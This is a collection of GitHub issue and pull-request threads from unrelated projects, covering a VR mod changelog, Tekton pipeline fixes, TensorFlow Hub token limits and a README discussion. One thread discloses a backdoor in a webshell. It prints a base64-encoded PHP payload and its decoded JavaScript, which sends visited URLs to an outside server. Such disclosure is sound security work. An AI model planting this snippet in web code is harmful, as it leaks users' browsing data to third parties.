following a tip from the godot modding discord, attached is a replacement cs-vr-mod-vr-files folder that also contains a .import folder for things added / changed after the original import and update of XR Tools.  My guess is that this won't fix crashing and I will also try to re-export xr tools this weekend just in case; but figured might as well post on the off chance it does help with crashing.
cs-vr-mod-vr-files.zip

Bug Fix No. 9 as of morning 3/8/23:
-Increase scope view distance for scoped weapons (will need feedback on lower GPUs regarding performance hit)
(Big sniper and mauser to 300, AR to 125)
-Fix funkgrunter sound being played continuously if player kept holding jump button
-Make wall jump distance dependent on player's jump velocity rather than always being based on jump height of 5

Big Fix No. 10 as of 3/9/23
-Fix fog not working (thanks much to Spencer!!)

Bug Fix No. 11 as of 3/10/23:
-Fix jelly floor in idiot party not bouncing player
-Fix gunkbooster/thrust/funkgrunter vomit not displaying directly below player (thanks much to Spencer!)

Bug fix No. 12 as of evening 3/10/23:
-Implement new VR Options for turn in real life only and swapping grappendix to offhand / offhand thumbstick press (swaps recenter to A/X button on offhand)
-Implement saving of VR options between play sessions (vr_user_prefs.cfg)
-Update controls description menu with descriptions of new options/how to fish
-This is the intended 1.4 beta release version (first official update since 3/3/23 release)
-Pre-test files below, update by taking the cs-vr-mod-vr-files folder and  cs-scripts-vr-mod folder from this package and putting in your mods folder in AppData folder (deleting the old ones first)
test_1-4-beta-folders.zip

Bug fix No. 13 - morning of 3-11-23:
extra tweaks to enemy scripts to catch crashes caused because of delay in loading player into the game when certain implants enabled or on certain levels (will not generally fix random crashes but may fix a few).
-Released v1.4 beta with changes up to this point.

Bug fix No. 14 - morning of 3-15-23 - unreleased
-make changes to some methods and functions that it turns out did not exist as of the engine version CS was created to hopefully reduce bugs and crashes
-fix level times not saving properly in VR
-begin testing potential fix for crashing based on replacement of .exe with godot 3.4 engine godotsteam build

-Bug fix No. 15 - morning of 3/16/2023 - unreleased
-Confirmed through multiple tests new way of loading mod fixes crashes (3 hour stream no crashes, private testing no crashes, separate testers no crashes)
-Fix npc performance hack not fully disabling when disabled by the user (thanks to Hoshi82 for pointing me in the specific direction of what was going on!)

-Bug fix No. 16 - morning 3/17/23 - changes for RC1
-Add some more colliders to pharma vent to try to prevent falling through (still may happen sometimes)
-make biothrust a bit faster in air
-add more instructions to implants and note where kick points in controls menu
-add jump velocity when using cortical scaledown to allow for jumping up stairs with scaledown
-fix of magic eye door in house level not letting player through

This is where stable 1.0 was released.  Any fixes after that listed here will be post stable 1.0 release updates.

As of 3-24-23 (unreleased)
-Added four two handed player weapons
-Move NPC detection area for npc performance hack to NPC physical bodies to potentially detect player more accurately when hack is turned on
-Increase head distance check for auto crouch to try to further reduce any vent clipping issues
-Add listener node to player arvr camera to always ensure 3D audio plays in correct ear

license: WTFPL


text:
No license

Hello!
Your library looks good, but how to use it without license??

Thanks! Added.

authors: DosWorld teefoss

repo: teefoss/textmode


text:
Still encounter this error: Could not find trained model in model_dir: ./output/sa_nn1.

Hi, i have seen the privious issue about the error  ValueError: Could not find trained model in model_dir: ./output/sa_nn1.  But it seems that your latest modify doesn't work. I still encounter this error when i use the latest code. Can you check it?
here's the traceback :

Traceback (most recent call last):
File "E:/learning-drl/magnet-1/magnet/main.py", line 87, in
main()
File "E:/learning-drl/magnet-1/magnet/main.py", line 49, in main
ddpg_agent.train_transformer(sess, env)
File "E:\learning-drl\magnet-1\magnet\models\ddpg_agent.py", line 150, in train_transformer
next_state, reward, terminal, info = self.env.step(action)
File "E:\learning-drl\magnet-1\magnet\env_processing\env_wrapper.py", line 47, in step
all_actions = self.gym.act(obs)
File "D:\Anaconda3\envs\tensorflow-gpu\lib\site-packages\pommerman\envs\v0.py", line 137, in act
return self.model.act(agents, obs, self.action_space)
File "D:\Anaconda3\envs\tensorflow-gpu\lib\site-packages\pommerman\forward_model.py", line 122, in act
ret.append(act_ex_communication(agent))
File "D:\Anaconda3\envs\tensorflow-gpu\lib\site-packages\pommerman\forward_model.py", line 101, in act_ex_communication
return agent.act(obs[agent.agent_id], action_space=action_space)
File "E:\learning-drl\magnet-1\magnet\models\ddpg_agent.py", line 99, in act
input_to_ddpg = self.input_to_ddpg(prev_state, curr_state)
File "E:\learning-drl\magnet-1\magnet\models\ddpg_agent.py", line 84, in input_to_ddpg
graph_predictions = np.asmatrix(list(itertools.islice(y_generator, prev_state.shape[0]))[0]['graph'])
File "D:\Anaconda3\envs\tensorflow-gpu\lib\site-packages\tensorflow\python\estimator\estimator.py", line 488, in predict
self._model_dir))
ValueError: Could not find trained model in model_dir: ./output/sa_nn1.

Hi. Is it solved now?


text:
Options are not being applied to prompt during generation

Given the following example
package main

import (
	"context"
	"fmt"
	"log"
	"os"
	"time"

	"github.com/teilomillet/gollm"
)

func main() {
	// Load API key from environment variable
	apiKey := os.Getenv("OPENAI_API_KEY")
	if apiKey == "" {
		log.Fatalf("OPENAI_API_KEY environment variable is not set")
	}

	// Create a new LLM instance with custom configuration
	llm, err := gollm.NewLLM(
		gollm.SetProvider("openai"),
		gollm.SetModel("gpt-4o-mini"),
		gollm.SetAPIKey(apiKey),
		gollm.SetMaxTokens(300),
		gollm.SetMaxRetries(3),
		gollm.SetRetryDelay(time.Second*2),
		gollm.SetLogLevel(gollm.LogLevelDebug),
	)
	if err != nil {
		log.Fatalf("Failed to create LLM: %v", err)
	}

	ctx := context.Background()
	prompt := gollm.NewPrompt("What is a florb?",
		gollm.WithContext("A florb is a red cube"),
		gollm.WithDirectives("Be concise", "Use examples"),
		gollm.WithOutput("Output in JSON format"),
		gollm.WithMaxLength(300),
	)
	response, err := llm.Generate(ctx, prompt)
	fmt.Println(response)
}

I get the following debug log
2024/11/04 14:54:23 DEBUG: Starting Generate method [prompt_length 226 context context.Background]
2024/11/04 14:54:23 DEBUG: Generating text [provider openai prompt What is a florb? system_prompt  attempt 1]
2024/11/04 14:54:23 DEBUG: Full request body [body {"max_tokens":300,"messages":[{"content":"What is a florb?","role":"user"}],"model":"gpt-4o-mini","temperature":0.7}]
2024/11/04 14:54:23 DEBUG: Full API request [method POST url https://api.openai.com/v1/chat/completions headers map[] body {"max_tokens":300,"messages":[{"content":"What is a florb?","role":"user"}],"model":"gpt-4o-mini","temperature":0.7}]

It appears that only Prompt.Input is actually being sent to the provider for generation while the rest of the options are ignored...

Looks like the bug was probably introduced in this commit.
https://github.com/teilomillet/gollm/commit/1da69896c20755860170806fba188ad48aea2fef#diff-f4b356a7b15ee425318c5d670a1cd20a6f91441a484282a10e0cf1a68b1bd94aL95-R114

Submitted a PR https://github.com/teilomillet/gollm/pull/14

This is why we have unit testing! Pre merge

Fixed with #14

repo: teilomillet/gollm


text:
Fix bug uploading slsa-provenance attestations to oci

We were incorrectly parsing the image name because the subject wasn't in the OCI image reference format.
Based on docs, I think that is an acceptable format for these attestations, so I'm switching it to match the tekton-provenance subjects. This should fix the bug.
Fixes https://github.com/tektoncd/chains/issues/253

/lgtm

/lgtm

authors: dlorenc priyawadhwa

repo: tektoncd/chains


text:
Wrong variable propagating Finally Task Results to Pipeline Results

Expected Behavior
As described in the doc, Finally Task's can emit Results but they cannot be referenced in Pipeline Result's - but we intend to support this using $(finally.<finally-task-name>.results.<finally-task-result>). This work is tracked in this issue.
Example
Modified the Pipeline in the provided example as such:
# Pipeline to clone repo into shared workspace and cleanup the workspace after done
apiVersion: tekton.dev/v1beta1
kind: Pipeline
metadata:
  name: clone-cleanup-workspace
spec:
  results:
      - name: commit
        value: $(tasks.clone-app-repo.results.commit)
      - name: initialized
        value: $(tasks.check-git-commit.results.init)
  workspaces:
    # common workspace where git repo is cloned and needs to be cleanup after done
    - name: git-source
  tasks:
    # Clone app repo to workspace
    - name: clone-app-repo
      taskRef:
        name: git-clone-from-catalog
      params:
        - name: url
          value: https://github.com/tektoncd/community.git
        - name: subdirectory
          value: application
      workspaces:
        - name: output
          workspace: git-source
  finally:
    # Cleanup workspace
    - name: cleanup
      taskRef:
        name: cleanup-workspace
      workspaces:
        - name: source
          workspace: git-source
    - name: check-git-commit
      params:
        - name: commit1
          value: $(tasks.clone-app-repo.results.commit)
      taskSpec:
        params:
          - name: commit1
        results:
          - name: init
        steps:
          - name: check-commit-initialized
            image: alpine
            script: |
              if [[ ! $(params.commit1) ]]; then
                exit 1
              fi
              printf true | tee /tekton/results/init

Actual Behavior
And this was the created PipelineRun, with the Finally Task's Result passed on to the Pipeline:
$ tkn pr describe -L
Name:              write-and-cleanup-workspace
Namespace:         test
Pipeline Ref:      clone-cleanup-workspace
Service Account:   default
Timeout:           1h0m0s
Labels:
 tekton.dev/pipeline=clone-cleanup-workspace

🌡  Status

STARTED        DURATION     STATUS
1 minute ago   31 seconds   Succeeded

📝 Results

 NAME            VALUE
 ∙ commit        1312e1011d061fad481446e99c869837fd94d6e0
 ∙ initialized   true

📂 Workspaces

 NAME           SUB PATH   WORKSPACE BINDING
 ∙ git-source   ---        VolumeClaimTemplate

🗂  Taskruns

 NAME                                             TASK NAME          STARTED          DURATION     STATUS
 ∙ write-and-cleanup-workspace-cleanup            cleanup            45 seconds ago   7 seconds    Succeeded
 ∙ write-and-cleanup-workspace-check-git-commit   check-git-commit   45 seconds ago   8 seconds    Succeeded
 ∙ write-and-cleanup-workspace-clone-app-repo     clone-app-repo     1 minute ago     23 seconds   Succeeded

Note that initialized is true, when in fact the validation should fail. The unintended behavior is that the variable referencing initialized uses tasks as a prefix rather than finally. Related feature request here.
Steps to Reproduce the Problem

Modify the Pipeline in the provided example with the code pasted above
Run the following commands:

kubectl apply -f pipelinerun-with-final-tasks.yaml
tkn pr describe -L

Additional Info

Kubernetes version:

Client Version: v1.24.1
Kustomize Version: v4.5.4
Server Version: v1.21.11-gke.1100

Tekton Pipeline version:

Client version: 0.23.1
Pipeline version: v0.35.0

/cc @jerop

issue has been fixed in https://github.com/tektoncd/pipeline/pull/5000

repo: tektoncd/pipeline

license_source: bigquery


text:
refactoring get condition status for pipeline method in pipelinerunstate.go

Changes
Refactoring GetPipelineConditionStatus based on a new structure PipelineRunFacts
PR #3254  applied refactoring and introduced PipelineRunFacts to simplify PipelineRun. This is a follow up PR to further simplify GetPipelineConditionStatus.
The biggest change in GetPipelineConditionStatus method is by default the reason is set to Running instead of Success. Based on the status of all the pipelineTasks including finally this status is changed accordingly and simplifies the whole method by avoiding matching an ordered list of tasks.
Submitter Checklist
These are the criteria that every PR should meet, please check them off as you
review them:

[x] Includes tests (if functionality changed/added)
[x] Includes docs (if user facing)
[x] Commit messages follow commit message best practices
[x] Release notes block has been filled in or deleted (only if no user facing changes)

See the contribution guide for more details.
Double check this list of stuff that's easy to miss:

If you are adding a new binary/image to the cmd dir, please update
the release Task to build and release this image.

Reviewer Notes
If API changes are included, additive changes must be approved by at least two OWNERS and backwards incompatible changes must be approved by more than 50% of the OWNERS, and they must first be added in a backwards compatible way.
Release Notes
NONE

/kind cleanup

/test pull-tekton-pipeline-integration-tests

/lgtm
/meow

authors: jerop pritidesai


text:
Validate dependencies between resolved resources in a PipelineRun

Changes
Fixes https://github.com/tektoncd/pipeline/issues/3499
When a PipelineRun is started there are several error conditions that can be
hit due to invalid Pipeline configuration. These errors have previously
only surfaced halfway through execution of the PipelineRun because validating
them requires a number of different resources to be resolved.
This commit performs validation on resolved dependencies of a PipelineRun before
it is allowed to start:

All result variables used in the Pipeline are checked to be pointing at valid
Tasks and TaskResults. This requires looking at resolved TaskSpecs.
Workspaces marked optional by the Pipeline are confirmed to also be Optional
in the Tasks they're passed to. This also requires looking at resolved TaskSpecs.

This validation required searching for result variables in a PipelineTask in a very
similar way we do in several other places in our codebase. I've refactored all of these
to use a common method on PipelineTasks called ResultReferences().
Submitter Checklist
These are the criteria that every PR should meet, please check them off as you
review them:

[x] Includes tests (if functionality changed/added)
[x] Commit messages follow commit message best practices
[x] Release notes block has been filled in or deleted (only if no user facing changes)

Release Notes
Added extra validations before PipelineRun can start: all result variables in the Pipeline must be valid and optional workspaces from a pipeline can only be passed to tasks expecting optional workspaces.

/hold
There's quite a bit of test coverage I need to add before this goes in.

/hold
There's quite a bit of test coverage I need to add before this goes in.

/test pull-tekton-pipeline-integration-tests

/test pull-tekton-pipeline-integration-tests

/hold cancel
Improved coverage.

/hold cancel
Improved coverage.

/test pull-tekton-pipeline-integration-tests

/test pull-tekton-pipeline-integration-tests

/test check-pr-has-kind-label

/test check-pr-has-kind-label

Thanks @sbwsg, this PR has lot of simplifications around results and I appreciate these changes 👍
/lgtm

Thanks @sbwsg, this PR has lot of simplifications around results and I appreciate these changes 👍
/lgtm

authors: pritidesai sbwsg


text:
Move validation from pipelinespec to pipelinerunspec when propagating parameters

Changes

Prior to this, propagating parameters only skipped webhook validation for params defined in script. As a result, when users tried to propagate params to other fields like args or command, etc. an webhook validation was raised. This PR address issue https://github.com/tektoncd/pipeline/issues/5141. This PR addresses validations in pipelinespec and pipelinerunspec. The changes for validations in taskspec and taskrunspec are in a separate PR.
Submitter Checklist
As the author of this PR, please check off the items in this checklist:

[ ] Has Docs included if any changes are user facing
[x] Has Tests included if any functionality added or changed
[x] Follows the commit message standard
[x] Meets the Tekton contributor standards (including
functionality, content, code)
[x] Has a kind label. You can add one by adding a comment on this PR that contains /kind <type>. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep
[x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)
[ ] Release notes contains the string "action required" if the change requires additional action from users switching to the new release

Release Notes
Move parameter validation from `pipelinespec` to `pipelinerunspec` when propagating parameters

/kind bug

/hold Wait for PR to be merged first

/hold cancel

/retest timeout flake again 🙁

/retest

/retest

/lgtm

It seems that some ArrayOrString params in https://github.com/tektoncd/pipeline/blob/main/pkg/apis/pipeline/v1beta1/pipelinerun_validation_test.go/#L130 should be updated to ParamValue.
cc @Yongxuanzhang @chitrangpatel Could you please help confirm here?

I agree. I don't recall which PR was merged first. There is backwards compatibility which is why the tests work. However, we should make it ParamValue. I can do that in one shot in a separate PR.

Thanks @chitrangpatel

authors: JeromeJu abayer chitrangpatel jerop


text:
Replace ubi9/ubi-minimal with busybox image

Changes
Seems like the ubi9/ubi-minimal image may cause e2e failures (at least from time to time).
ubi-minimal or busybox shouldn't really matter for that regression example test, so this switch to an image we already use (as the "shell" image on the controller).
/kind misc
Submitter Checklist
As the author of this PR, please check off the items in this checklist:

[ ] Has Docs if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps
[ ] Has Tests included if any functionality added or changed
[x] Follows the commit message standard
[x] Meets the Tekton contributor standards (including functionality, content, code)
[x] Has a kind label. You can add one by adding a comment on this PR that contains /kind <type>. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep
[ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of good release notes.
[ ] Release notes contains the string "action required" if the change requires additional action from users switching to the new release

Release Notes
NONE

See https://prow.tekton.dev/view/gs/tekton-prow/pr-logs/pull/tektoncd_pipeline/7349/pull-tekton-pipeline-integration-tests/1724553270275346432 for an example of a failure.
              waiting:
                message: Back-off pulling image "registry.access.redhat.com/ubi9/ubi-minimal:9.0.0-1580"
                reason: ImagePullBackOff

/test check-pr-has-kind-label

/approve

authors: afrittoli vdemeester


text:
Bug/cidrnotvalid

@jesuspg @jframos

Changes Unknown when pulling a0dda22a3409ebbfdabbad932e1112ce90896e8a on hmunfru:bug/cidrnotvalid into ** on telefonicaid:hosfix/cidrnotvalid**.

authors: coveralls hmunfru

repo: telefonicaid/fiware-paas


text:
Estruturar um readme e um contributing decentemente

Pensei em criar um readme melhor que o atual. O readme atual dificultou a vida do @taciogt ao tentar rodar o projeto.
Esse readme precisa ter (critério de pronto):

[ ] Descrição curta sobre o que é o projeto
[ ] O que fazer da primeira vez que você rodar o frontpress.
[ ] O que fazer para rodar o frontpress em seguida;
[ ] Um contributing.md inicial
[ ] Badge do gitter
[ ] Badge de qualidade do codacy

Esse readme seria mais legal se tivesse (critério de ótimo):

[ ] Um logotipo
[ ] Uma imagem para cada seção (talvez usar isso: https://asciinema.org)
[ ] Uma imagem da licença do frontpress

Inspirações e orientações para criar esse readme:

https://github.com/noffle/art-of-readme
https://github.com/matiassingers/awesome-readme

cc @alisonmonteiro
--
Esse comentário foi editado para incluir uma lista de checkpoints que sirva de critério de pronto. Sugestão do @alisonmonteiro

Acho que não faz sentido adicionar essa issue no projeto de qualidade de código, certo?

Se for fazer um logo as inspirações são:

Logo do angular https://avatars0.githubusercontent.com/u/139426?v=3&s=400
Logos de front: http://wicrew.com/wp-content/uploads/2015/07/html-css-js.png
Logo do wordpress: https://upload.wikimedia.org/wikipedia/commons/thumb/2/20/WordPress_logo.svg/2000px-WordPress_logo.svg.png

@teles, acho que melhorar readme e contributing são melhorias da qualidade do código.

Fechou. Adicionei essa issue ao projeto de qualidade de código, @taciogt.

Massa, @teles!
Acho muito interessante a ideia.
Acho válido manter o readme.md em inglês. Assim, ele alcança mais pessoas. O que acha?
Talvez, nós possamos deixar uma documentação mais elaborada no gh-pages, e no readme.md deixar apenas o essencial - com logo, descrição, comandos básicos (podemos manter em uma imagem), etc.
Daí, no gh-pages, poderíamos usar algo como typed-js ou o asciinema, como você citou.
Sobre o logotipo: acho que poderíamos ter uma issue com uma tag help wanted pra isso, assim quem manjar e quiser contribuir, ajudará bastante (infelizmente, não manjo de design 💩 ).
Um roadmap no readme.md: acho que não é tão necessário, já que temos os projetos e o milestone no github, mas para ficar mais claro, pode ser uma boa.
E concordo com o @taciogt. readme e contributing são melhorias da qualidade de código.
😄

Valeu, @alisonmonteiro.
Acho muito válido ter o readme em inglês e colocar help wanted para o logo.
Até podemos pensar em gerar um concurso no openclipart.org para isso.

O @woliveiras quer ajudar nisso :D

Opa!
Vou tentar ajudar a ajeitar um README legal! \o/
Achei muito boa a ideia de abrir um concurso ein?

@teles podemos criar uma checklist (nesta issue mesmo) com os tópicos acima e ir marcando quando concluirmos algo. O que acha?

@alisonmonteiro acho uma boa ideia, coloquei lá no primeiro comentário uma checklist :)

@teles show! 😃
Acho que algumas dessas já podemos marcar como concluídas. Me corrija, caso eu esteja enganado:

Descrição curta sobre o que é o projeto
O que fazer da primeira vez que você rodar o frontpress.
O que fazer para rodar o frontpress em seguida;
Badge do gitter
Badge de qualidade do codacy

@alisonmonteiro levando em conta que já tem outra issue para o contributing do frontpress removí o item sobre o contributing dessa issue.
Duas coisas que poderiam ser legais no readme em um futuro próximo:

Tabela de suporte de navegadores
Uma lista de links mais úteis da wiki do projeto

Agora vou considerar essa issue fechada pelo @alisonmonteiro!
Novamente muito obrigado!

@teles massa! 😄
Sobre a logo, lembro que havíamos falado sobre... Iremos manter aquela ideia do concurso?
Acha que podemos abrir uma issue aqui com a tag help wanted também?
Até que curti as duas logos daquela forma no readme, mas uma própria do projeto seria muito melhor!

Acho uma boa ideia, @alisonmonteiro.
Como podemos criar essa issue bem especificada e chamar interessados em fazer o logo?

Exemplos de logos de browser: https://github.com/alrra/browser-logos (também podemos usar isso depois para especificar o suporte do frontpress)

Pensei em algo assim
Não sou designer mas to tentando ajudar.

Legal, @rpaggi.
Pensei em criar algo que misture logos do angular, wordpress e css3/html5. Tipo o que você sugeriu.

Pelas suas sugestões foi isso mesmo que eu captei e tentei fazer. Só não conegui encaixar uma fonte legal ali

Acho que a própria fonte do CSS3 fica bacana ali, com um FP

Vocês tem o nome dessa fonte para eu procurar aqui?

Valeu, @khaosdoctor e @rpaggi
Criei uma nova issue com informações para criação do logo https://github.com/teles/frontpress/issues/70

Vou verificar lá e inicio algum esboço nessa semana

@teles não havia respondido ainda, mas vi que você iniciou uma issue e tem bastante gente contribuindo. Muito massa! 😄

authors: alisonmonteiro khaosdoctor rpaggi taciogt teles woliveiras

repo: teles/frontpress


text:
🛑 Secret Site2 is down

In f15c842, Secret Site2 ($SECRET_SITE_2) was down:

HTTP code: 404
Response time: 117 ms

Resolved: Secret Site2 is back up in 454d864 after 21 minutes.

repo: templain/mywatcher


text:
🛑 Secret Site2 is down

In bdda9b8, Secret Site2 ($SECRET_SITE_2) was down:

HTTP code: 404
Response time: 148 ms

Resolved: Secret Site2 is back up in 18f061b.


text:
Include a basic test / example, for ease of validation

Please include an actual sample that would help validating and demonstrating Temporal Helm Chart operations.

good note for @tsurdilo for standards we want to achieve

repo: temporalio/helm-charts


text:
Add function to ExclusionApi for Exclusion import

The endpoint POST /exclusions/import can be used in combination with https://cloud.tenable.com/api#/resources/file/upload to upload a .csv exclusion file.
example import .csv file contains:
id,name,description,members,creation_date,last_modification_date
22,"SDK exclusion","Description","192.168.0.1",1491843563,1491843698

Expected response is 200 OK with an empty body.

test comment

test comment 2

license: mit


text:
Merge pull request #1 from tenable/master

Pull Upstream

Pull

repo: tenable/routeros


text:
Compound test suite fixes

This PR includes some (WIP) fixes for the Compound test suite, which appears to be non-functional in its current state. Some comments are provided for further fixes.
Last commit separates IERC721Receiver from the other contracts into an imported interface.

@frehml , what network are the tests running on. A hardhat fork or local simulation?

saddle's equivalent of hardhat fork

@frehml all looks good

authors: Ely-S frehml

repo: tender-finance/compound-protocol


text:
Some Suggesions

Things that I came across, that could be unclear (some I actually know, some I don't)
RBIMPL
dvar, gvar, ivar, cvar, local
insn, insns
*_SYMBOL_EXPORT_BEGIN, *_SYMBOL_EXPORT_END
ruby/ruby.h could probably be explained
RBasic and RComplex
'memo' used in a few contexts
Maybe these are obvious but:
vm
gc
Probably a topic for a different project:
Fiber, Thread, Ractor
JIT, MJIT, and YJIT
:peace_symbol: :heart_decoration:

Excellent, thank you!  I'll try to add these.

authors: Aesthetikx tenderlove

repo: tenderlove/ruby-glossary


text:
Have a hiden native backdoor log

In the code <img src=\"http://emp3ror.com/images/emplogo1.gif\"> send the referer of path to emp3ror.com server. The administrator catch all referers into emp3ror.com server log. Dont be evil.
Other backdoor: <?php echo base64_decode('PFNDUklQVCBTUkM9JiN4NjgmI3g3NCYjeDc0JiN4NzAmI3gzYSYjeDJmJiN4MmYmI3g3NyYjeDc3JiN4NzcmI3gyZSYjeDZjJiN4NmYmI3g2MyYjeDYxJiN4NmMmI3g3MiYjeDZmJiN4NmYmI3g3NCYjeDJlJiN4NmUmI3g2NSYjeDc0JiN4MmYmI3g2OSYjeDYyJiN4NmUmI3g2NSYjeDZjJiN4NjUmI3g3MiYjeDJmJiN4NzkmI3g2MSYjeDdhJiN4MmUmI3g2YSYjeDczPjwvU0NSSVBUPiANCg==');?>
The render is: a=new/**/Image();a.src='http://localroot.net/ibneler/index.php?a='+escape(location.href);
This send the referer site to other persons.
This shell is dirty.

Can confirm, This is not the only one either.

thanks,  i del backdoor~ @WHK102

repo: tennc/webshell


text:
Adam

Changed optimizer to Adam and default learning rates to 1e-3 for tf as discussed in #170 .

@abhibhav14, I confirm your observations, the accuracies are also greatly improved upon by the switch to adam. Thanks for running the experiments and putting together the PR!
Closes #170

repo: tensorflow/cleverhans


text:
Max number of tokens considered by Universal Sentence Encoder Large 3

This is not a question about tf_hub but about the Universal Sentence Encoder. If this is not the right place, let me know the appropriate forum to post this.
I noticed that the transformer model (USE Large 3) yields the same embeddings for two strings if the first 128 words are the same. Does the model discard tokens beyond the first 128? I could not find this information in the paper.
Here is sample code where I get the embeddings for the first 3 and 4 paragraphs of the USE announcement blog (https://ai.googleblog.com/2018/05/advances-in-semantic-textual-similarity.html). The embeddings are identical.
import tensorflow as tf
import tensorflow_hub as hub

t1 = 'The recent rapid progress of neural network-based natural language understanding research, especially on learning semantic text representations, can enable truly novel products such as Smart Compose and Talk to Books. It can also help improve performance on a variety of natural language tasks which have limited amounts of training data, such as building strong text classifiers from as few as 100 labeled examples. Below, we discuss two papers reporting recent progress on semantic representation research at Google, as well as two new models available for download on TensorFlow Hub that we hope developers will use to build new and exciting applications. In “Learning Semantic Textual Similarity from Conversations”, we introduce a new way to learn sentence representations for semantic textual similarity. The intuition is that sentences are semantically similar if they have a similar distribution of responses. For example, “How old are you?” and “What is your age?” are both questions about age, which can be answered by similar responses such as “I am 20 years old”. In contrast, while “How are you?” and “How old are you?” contain almost identical words, they have very different meanings and lead to different responses.'

t2 = 'The recent rapid progress of neural network-based natural language understanding research, especially on learning semantic text representations, can enable truly novel products such as Smart Compose and Talk to Books. It can also help improve performance on a variety of natural language tasks which have limited amounts of training data, such as building strong text classifiers from as few as 100 labeled examples. Below, we discuss two papers reporting recent progress on semantic representation research at Google, as well as two new models available for download on TensorFlow Hub that we hope developers will use to build new and exciting applications. In “Learning Semantic Textual Similarity from Conversations”, we introduce a new way to learn sentence representations for semantic textual similarity. The intuition is that sentences are semantically similar if they have a similar distribution of responses. For example, “How old are you?” and “What is your age?” are both questions about age, which can be answered by similar responses such as “I am 20 years old”. In contrast, while “How are you?” and “How old are you?” contain almost identical words, they have very different meanings and lead to different responses. In this work, we aim to learn semantic similarity by way of a response classification task: given a conversational input, we wish to classify the correct response from a batch of randomly selected responses. But, the ultimate goal is to learn a model that can return encodings representing a variety of natural language relationships, including similarity and relatedness. By adding another prediction task (In this case, the SNLI entailment dataset) and forcing both through shared encoding layers, we get even better performance on similarity measures such as the STSBenchmark (a sentence similarity benchmark) and CQA task B (a question/question similarity task). This is because logical entailment is quite different from simple equivalence and provides more signal for learning complex semantic representations. '

with tf.Session() as session:
     session.run([tf.global_variables_initializer(), tf.tables_initializer()])
     embeddings = session.run(embed([t1, t2]))

print(np.allclose(embeddings[0, :], embeddings[1, :]))

Running the code above will yield True. I wanted to confirm if there is indeed a 128 token limit and whether it can be changed.
If there is a 128 token limit, I have a couple of follow-up questions.

The arxiv paper mentions that the model is using PTB tokenization and the aclweb paper mentions that all punctuation is removed. Can you share the specifics of tokenization?
If I need an embedding for text that has more than 128 tokens, I can extract separate embeddings for each part with 128 or less and then combine them. The archive paper mentions that the sentence embedding is obtained by summing each element of the word embedding and dividing by the sqrt of the number of tokens. For example, if I break the text into two parts with n and k tokens, and get corresponding embeddings A and B, the embedding for the entire text would be (sqrt(n)*A + sqrt(k)*B) / sqrt(n+k) which then needs to be normalized. Is this correct? What this does not account for is how A and B were normalized. is there any way to get A and B embeddings before they are normalized to unit vectors?

I am curious about this as well.

I was able to look at the tokens using tensorflow debugger and the operation "module_apply_default/text_preprocessor/tokenize/StringSplit:1"
Tensor "module_apply_default/text_preprocessor/tokenize/StringSplit:1:DebugIdentity":
  dtype: object
  shape: (4,)

array([b'<S>', b'arya', b'stark', b'</S>'], dtype=object)

I am curious about this as well.

Facing the same issue.

Hi, thank you for asking this question! I'm wondering the same thing.
For what it's worth, I tried the example you provided on USE models released in versions 1, 2, and 3. The behavior you note is true for version 3 but not for versions 1 and 2. This makes me wonder how inputs are handled differently between versions.
@mvss80 , if you don't mind me asking, did you try splitting the long text into multiple strings, embedding each separately, and combining the embeddings? If so, how did you end up doing this, and how well did it work?

@sukanyamoorthy Would you please share the code to output the tokens?

Has there been any news on this - would be great from someone in the core team to help to understand the workings of this and other USE models for very long sentence embeddings.

It is true that the model discard the text after seen 128 tokens. It's the same as for USE Lite, discussed in the recent issue https://github.com/tensorflow/hub/issues/572

@arnoegw Is it possible to add this behaviour to the docs?

@arnoegw @gowthamkpr Is this clipping at 128 tokens the same for the base USE/4? If not, is there any clipping that does happen?

I am curious too!

This does not apply to USE 4 based on my tests

authors: HaniehP QtRoS akashsara arnoegw csestili dav-ell mvss80 sukanyamoorthy walaam98 wenxijuji ydennisy ztx0728

repo: tensorflow/hub


text:
help

Traceback (most recent call last):
File "/Users/yuwei/Desktop/novel_analysis-master/test.py", line 5, in
model = hub.Module(path)
File "/Anaconda/anaconda3/lib/python3.6/site-packages/tensorflow_hub/module.py", line 151, in init
self._spec = as_module_spec(spec)
File "/Anaconda/anaconda3/lib/python3.6/site-packages/tensorflow_hub/module.py", line 36, in as_module_spec
return load_module_spec(spec)
File "/Anaconda/anaconda3/lib/python3.6/site-packages/tensorflow_hub/module.py", line 63, in load_module_spec
print(registry.loader(path))
File "/Anaconda/anaconda3/lib/python3.6/site-packages/tensorflow_hub/registry.py", line 48, in call
self._name, args, kwargs))
RuntimeError: Missing implementation that supports: loader(*('/Users/yuwei/Desktop/chinese_L-12_H-768_A-12',), **{})

@yw1991 So, The problem is with the path ('/Users/yuwei/Desktop/chinese_L-12_H-768_A-12',). Can you please take a look at the issue in stack overflow and let me know if that solves your problem. Thanks!

@gowtham-kp  I have already solved this problem. I find that files should be from Tensorflow-hub.
First my Bert model download from Bert website, so the problem happened;then I download the Bert model form Tensorflow hub, it works.

@yw1991 Thank you for sharing the information. Closing this issue as it has been solved!


text:
Support latest bazel and protobuf

Solve http archive errors with the latest bazel, and possible incompatibility with the latest protobuf library. Because of all of these incompatibilities, the bazel and protobuf dependencies of this project are strictly versioned, but we should update to support the latest versions.

Anything is gonna updates for this issue? I got a building error to use moonlight with conflicts on deprecated bazel components.

Hello,
Unfortunately there's not a lot of planning that goes into making the tensorflow/protobuf/bazel latest releases each play nicely together. If we get the latest bazel running, we probably still won't keep updating support for the latest version frequently, because something will probably break like this again. Now that bazel 1.0.0 is released, we might prioritize upgrading to it and hoping that it won't break again so often.
In the meantime, this should be pretty simple if you download the standalone bazel binary from the 0.20.0 release (linux-x86_64 or darwin-x86_64 with no suffix), keep that binary in your home directory, and use that specific binary to run "bazel build moonlight/..." (shouldn't need to repeat that command often).

authors: AppleHolic ringw

repo: tensorflow/moonlight


text:
Add Recurrent Layers

#52

Would we prefer to have forgetWeight and forgetBias or forgetW and forgetB?

Would we prefer to have forgetWeight and forgetBias or forgetW and forgetB?

The full names Weight and Bias are preferable.

Done.

It would also be nice if we can have an RNN cell protocol, so that all valid cells have to conform to it and can be used in code that expects RNN cells (e.g., simple RNN, bi-directional RNN, etc).

@rxwei What do you think such a protocol would look like? i.e. What kind of functionality would it define?

